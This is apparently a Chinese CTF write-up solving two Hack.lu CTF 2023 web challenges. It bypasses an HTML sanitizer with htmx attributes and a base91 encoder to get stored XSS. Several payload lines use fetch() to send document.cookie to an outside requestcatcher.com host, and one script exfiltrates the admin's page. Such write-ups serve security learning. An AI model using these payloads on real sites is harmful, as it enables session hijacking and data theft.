Hack.lu CTF 2023
Awesomenotes I
xss,rust写的后端,让Copilot快速解释一下。
这段代码是一个 Rust 语言编写的 web 应用程序,使用了 Axum 框架和 Hyper 库。它提供了一些路由和处理函数,以及一个静态文件服务。具体来说,它提供了以下路由:
- GET /:返回 public/index.html 文件的内容。
- GET /create:返回 public/create.html 文件的内容。
- GET /report:返回 public/report.html 文件的内容。
- GET /note/:note:返回 public/upload/:note 文件的内容,其中 :note 是一个参数,表示文件名。
- POST /api/note:上传一个笔记,笔记内容在表单数据中的名为 “note” 的字段中。
- GET /api/note/:note:返回 public/upload/:note 文件的内容,其中 :note 是一个参数,表示文件名。
- POST /api/report:接受一个名为 “link” 和 “g-recaptcha-response” 的表单数据,将其发送到一个名为 “BOT_HOST” 的环境变量指定的地址,并返回一个成功的报告页面。
其中,/note/:note 路由还需要一个名为 “session” 的 Cookie,如果请求的笔记是 “flag”,则需要一个名为 “ADMIN_SESSION” 的环境变量指定的值作为 Cookie 的值。如果没有这个 Cookie 或者 Cookie 的值不正确,则返回 401 状态码。如果请求的笔记文件名不是十六进制字符串,则返回 400 状态码。如果请求的笔记文件不存在,则返回 404 状态码。
在 /api/note 路由中,上传的笔记内容会被过滤,只保留 h1、p 和 div 标签,以及以 “hx-” 开头的通用属性。如果笔记内容长度超过 5000 字节,则返回 413 状态码。笔记文件名是一个随机生成的 32 字节十六进制字符串。
在 /api/report 路由中,会将表单数据发送到一个指定的地址,并返回一个成功的报告页面。如果发送失败,则返回 400 状态码。
总体来说,这个应用程序提供了一个简单的笔记上传和查看功能,以及一个报告功能。
很明显需要外带admin bot的cookie,然后拿flag。上面说的过滤在upload_note()中
1 | let safe = ammonia::Builder::new() |
的确很明显的解释。那么这个hx-开头的属性是什么呢? htmx - high power tools for html这是一个对html标签的拓展,在不用写js的情况下丰富html标签的功能。翻翻拓展的属性里有这么个好东西
1 | <div hx-on:click="alert('Clicked!')">Click</div> |
但是这个还需要自己点击,文档中的示例还有使用htmx事件的,可以自动触发
1 | <button hx-get="/info" |
这个事件就是请求当前域下的/info后弹窗。当然button是不能使用的标签,我们可以改成div,然后js代码变为fetch请求
1 | <div hx-get="/" hx-on::after-request="fetch('https://yzj.requestcatcher.com/test?cookie='+document.cookie)">test</div> |
尝试请求直接请求/,但似乎依然没有自动触发。其实上面的文档示例的写法是在button标签中的写法,我们还需要添加一个触发器属性hx-trigger,然后找个能自动触发的属性,比如load
1 | <div hx-get="/" hx-trigger="load" hx-on::after-request="fetch('https://yzj.requestcatcher.com/test?cookie='+document.cookie)">test</div> |
呃,好像还是无法触发,控制台报错信息htmx:targetError
。搜到Github上的一个issue htmx:targetError ·问题 #1822 ·BigSkySoftware/HTMX (github.com),原来还需要一个hx-target属性。根据文档的示例,我们可以把target设置成标签的属性,也可以设置成this
1 | <div hx-get="/" hx-trigger="load" hx-target="this" hx-on::after-request="fetch('https://yzj.requestcatcher.com/test?cookie='+document.cookie)">test</div> |
然后我们还会注意到奇怪的报错htmx.org@1.9.5:1 Response Status Error Code 404 from /a8da32b177aa00eea4f4fbffb293fde832fa8ee0c488da98d565ddda9a307367
。经过测试发现,这一串字符串是当前note的id,会莫名其妙拼接到我们hx-get属性的路径后面,而且有几个标签就会拼接几次。很明显并没有这个路径,自然会报错。这里将#号放在url后面,这样一来这一坨字符串拼接上去后就会被当作书签,不会影响正确的请求
1 | <div hx-get="/#" hx-trigger="load" hx-target="this" hx-on::after-request="fetch('https://yzj.requestcatcher.com/test?cookie='+document.cookie)">test</div> |
所以理论上只要让admin bot请求一下,就能收到admin的cookie,最后带着admin的cookie访问/note/flag即可拿到flag。至于问什么是理论上,因为复现的时候好像admin bot炸了,我狂点按钮莫得反应(
其实上面targetError报错后可以干脆直接利用报错,因为有htmx:targetError这么个事件,可以试一下
1 | <div hx-get="/#" hx-trigger="load" hx-on="htmx:targetError: fetch('https://yzj.requestcatcher.com/test?a='+document.cookie)">test</div> |
但是注意,这里的hx-on写法在文档中被标注为deprecated,但必须如此,否则不会触发。
Based Encoding
直接让Copilot解释一下app.py干了什么。
这段代码是一个简单的 Flask web 应用程序,它提供了以下几个路由:
/
:主页,显示用户创建的编码。/login
:登录页面,用户可以在此处输入用户名和密码以登录。/signup
:注册页面,用户可以在此处输入用户名和密码以创建新帐户。/e/<encoding_id>
:查看编码页面,用户可以在此处查看特定编码的详细信息。/create
:创建编码页面,用户可以在此处创建新编码。/report
:报告页面,用户可以在此处报告某个编码。
此应用程序还使用了 SQLite 数据库来存储用户帐户和编码信息。它还使用了一个名为 based91 的 Python 模块来对文本进行编码和解码。此外,它还使用了一个名为 subprocess 的 Python 模块来启动一个名为 adminbot.js 的 Node.js 脚本,以便管理员可以查看报告的编码。
这个解释乍一看就是比较正常的Flask服务,不过其实我们还是可以找到一些这题的关键
-
encoded = based91.encode(text.encode() if not (re.match(r"^[a-f0-9]+$", text) and len(text) % 2 == 0) else bytes.fromhex(text)) <!--code8--> 通过装饰器给每个请求添加CSP响应头,虽然阻止了外部js脚本,但是内联js脚本依然可以运行
-
cur.execute("INSERT INTO encodings (id, text, creator, expires) VALUES (?, ?, 'admin', 0)", [secrets.token_hex(20), FLAG]) <!--code9-->
输出第一行是base91解码的结果,第二行是再编码的结果,也就是最后会被放到网页上的内容。至于为什么script标签后还有个=,因为解码后可能导致最后一两个字符出问题,也可以添加其他字符防止这个问题。所以我们复制这串十六进制提交一下就可以触发弹窗了。接下来尝试一下外带cookie吧……似乎带不出来,怎么回事呢?很可惜,cookie的HttpOnly属性被设置为true了,我们实际上无法使用document.cookie获得cookie。然后我发现,主页上获取encoding_id是有鉴权的,而/e/<encoding_id>页面并没有鉴权,所以其实我们能获得admin的主页就可以了!
接下来就是怎么实现这个功能的问题了。编写过程中还需要注意base91的字符表,比较关键的是 . 不在字符表中。直接说几个方法
- 比如想外带到自己的服务器,ip地址可以变成十进制或十六进制等没有 . 的格式,依然可以正常访问
- js需要使用 . 的情况可以使用
["xxx"]
这样的格式替换 - 最通用的方式还是直接String.fromCharCode()方法
综合以上方式,比如想表示 . 就可以这样写:String["fromCharCode"](46)
。曾想过使用iframe将主页加载进编码页面,但一通尝试后发现提取内容是一个很大的问题。然后参照对内学长所写的(这里仅对格式稍作修改,方便看)
1 | import base64 |
这边直接用base64将想插入的内容编码后,等脚本执行后直接将原始内容解码写入网页,好一手绕过操作,而且很明显绕过了任意符号。仿照xhr的写法,把自己脚本改成fetch实现
1 | import based91 |
最后获得encoding_id,访问得flag。fetch的时候其实还有一些问题,比如这里fetch请求是同域下的网站所以一切顺利,但如果想跨域的话会被CORS限制,信息可以外带但收不到结果。另外,如果想直接fetch到自己的服务器也是不行的,因为没办法从https请求到http,会被判定为不安全而无法执行